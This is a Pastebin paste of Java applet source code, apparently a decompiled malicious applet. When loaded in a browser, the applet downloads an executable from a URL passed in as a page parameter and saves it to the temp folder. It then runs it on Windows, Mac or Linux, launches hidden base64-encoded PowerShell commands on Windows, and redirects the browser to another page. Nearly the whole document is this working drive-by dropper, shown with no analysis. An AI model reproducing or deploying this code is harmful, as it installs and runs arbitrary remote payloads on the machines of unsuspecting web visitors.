Advertisement
Guest User

SET

a guest
Jul 12th, 2012
367
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 5.92 KB | None | 0 0
  1.  
  2. import java.applet.Applet;
  3. import java.applet.AppletContext;
  4. import java.io.*;
  5. import java.net.URL;
  6. import java.util.Random;
  7.  
  8. public class Java extends Applet
  9. {
  10.  
  11.     public Java()
  12.     {
  13.         initialized = null;
  14.     }
  15.  
  16.     public Object isInitialized()
  17.     {
  18.         return initialized;
  19.     }
  20.  
  21.     public void init()
  22.     {
  23.         try
  24.         {
  25.             Random random = new Random();
  26.             String s = Long.toString(Math.abs(random.nextLong()), 36);
  27.             String s1 = (new StringBuilder()).append(System.getProperty("java.io.tmpdir")).append(File.separator).toString();
  28.             String s2 = (new StringBuilder()).append(System.getProperty("java.io.tmpdir")).append(File.separator).toString();
  29.             String s3 = System.getProperty("os.name").toLowerCase();
  30.             String s4 = System.getProperty("os.arch");
  31.             String s5 = "";
  32.             String s6 = "";
  33.             String s7 = "";
  34.             String s8 = "";
  35.             String s9 = "";
  36.             byte byte0 = -1;
  37.             if(s3.indexOf("win") >= 0)
  38.             {
  39.                 s5 = getParameter("WINDOWS");
  40.                 s6 = getParameter("STUFF");
  41.                 s7 = getParameter("64");
  42.                 s8 = getParameter("86");
  43.                 s9 = getParameter("ILIKEHUGS");
  44.                 byte0 = 0;
  45.                 s1 = (new StringBuilder()).append(s1).append(s).append(".exe").toString();
  46.             } else
  47.             if(s3.indexOf("mac") >= 0)
  48.             {
  49.                 s5 = getParameter("OSX");
  50.                 byte0 = 1;
  51.                 if(s1.startsWith("/var/folders/"))
  52.                     s1 = "/tmp/";
  53.                 s1 = (new StringBuilder()).append(s1).append(s).append(".bin").toString();
  54.             } else
  55.             if(s3.indexOf("nix") >= 0 || s3.indexOf("nux") >= 0)
  56.             {
  57.                 s5 = getParameter("LINUX");
  58.                 byte0 = 2;
  59.                 s1 = (new StringBuilder()).append(s1).append(s).append(".bin").toString();
  60.             }
  61.             if(s5.length() > 0 && s1.length() > 0)
  62.             {
  63.                 URL url = new URL(s5);
  64.                 InputStream inputstream = url.openStream();
  65.                 BufferedInputStream bufferedinputstream = new BufferedInputStream(inputstream);
  66.                 File file1 = new File(s1);
  67.                 BufferedOutputStream bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(file1));
  68.                 byte abyte0[] = new byte[2048];
  69.                 do
  70.                 {
  71.                     int i = bufferedinputstream.read(abyte0);
  72.                     if(i <= 0)
  73.                         break;
  74.                     bufferedoutputstream.write(abyte0, 0, i);
  75.                 } while(true);
  76.                 bufferedoutputstream.flush();
  77.                 bufferedoutputstream.close();
  78.                 inputstream.close();
  79.             }
  80.             String s10 = getParameter("nextPage");
  81.             if(s10 != null && s10.length() > 0)
  82.             {
  83.                 URL url1 = new URL(s10);
  84.                 getAppletContext().showDocument(url1);
  85.             }
  86.             if(byte0 < 1)
  87.             {
  88.                 File file = new File("C:\\Windows\\System32\\WindowsPowershell\\v1.0");
  89.                 if(file.exists() && s7.length() > 3)
  90.                     if(s4.contains("86") || s4.contains("64"))
  91.                     {
  92.                         if(s8.length() > 3)
  93.                         {
  94.                             ProcessBuilder processbuilder = new ProcessBuilder(new String[] {
  95.                                 "cmd", "/c", "powershell", "-EncodedCommand", s8
  96.                             });
  97.                             Process process4 = processbuilder.start();
  98.                             process4.getOutputStream().close();
  99.                             process4.getInputStream().close();
  100.                             process4.getErrorStream().close();
  101.                         }
  102.                     } else
  103.                     if(s4.contains("i") && s7.length() > 3)
  104.                     {
  105.                         ProcessBuilder processbuilder1 = new ProcessBuilder(new String[] {
  106.                             "cmd", "/c", "powershell", "-EncodedCommand", s7
  107.                         });
  108.                         Process process5 = processbuilder1.start();
  109.                         process5.getOutputStream().close();
  110.                         process5.getInputStream().close();
  111.                         process5.getErrorStream().close();
  112.                     }
  113.                 if(s6.length() < 3)
  114.                 {
  115.                     Process process = Runtime.getRuntime().exec((new StringBuilder()).append("cmd.exe /c \"echo ").append(s9).append(" > ").append(s2).append("42logfile42.tmp").append("\"").toString());
  116.                     process.waitFor();
  117.                     process = Runtime.getRuntime().exec((new StringBuilder()).append("cmd.exe /c \"").append(s1).append(" ").append(s9).append("\"").toString());
  118.                     process.waitFor();
  119.                 }
  120.                 if(s6.length() > 3)
  121.                 {
  122.                     Process process1 = Runtime.getRuntime().exec((new StringBuilder()).append("cmd.exe /c \"").append(s1).append(" ").append(s6).append("\"").toString());
  123.                     process1.waitFor();
  124.                 }
  125.             } else
  126.             {
  127.                 Process process3 = Runtime.getRuntime().exec((new StringBuilder()).append("/bin/chmod 755 ").append(s1).toString());
  128.                 process3.waitFor();
  129.                 Process process2 = Runtime.getRuntime().exec(s1);
  130.                 process2.waitFor();
  131.                 (new File(s1)).delete();
  132.             }
  133.             initialized = this;
  134.         }
  135.         catch(IOException ioexception)
  136.         {
  137.             ioexception.printStackTrace();
  138.         }
  139.         catch(Exception exception)
  140.         {
  141.             exception.printStackTrace();
  142.         }
  143.     }
  144.  
  145.     private Object initialized;
  146. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement